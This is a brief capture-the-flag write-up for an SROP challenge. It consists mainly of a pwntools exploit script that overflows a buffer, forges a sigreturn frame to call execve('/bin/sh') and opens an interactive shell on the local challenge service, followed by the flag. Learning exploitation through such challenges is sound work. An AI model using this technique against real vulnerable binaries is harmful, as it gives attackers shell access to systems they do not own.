### Writeup
SROP challenge. Exploit script - 
```py#!/usr/bin/env python3from pwn import *
context.binary = elf = ELF('../src/chall')io = remote('127.0.0.1', 38894)# io = gdb.debug([elf.path])
io.readline()
offset = 32
payload = b''payload += b'A' * 32payload += pack(0x40101b) # readpayload += pack(0x401047)frame = SigreturnFrame()frame.rax = 0x3b            # syscall number for execveframe.rdi = 0x40200f           # pointer to /bin/shframe.rsi = 0x0             # NULLframe.rdx = 0x0             # NULLframe.rip = 0x401047payload += bytes(frame)
io.send(payload)sleep(1)io.send(b'Z'*0xf)
io.interactive()```
### Flag - n00bz{SR0P_1$_s0_fun_r1ght??}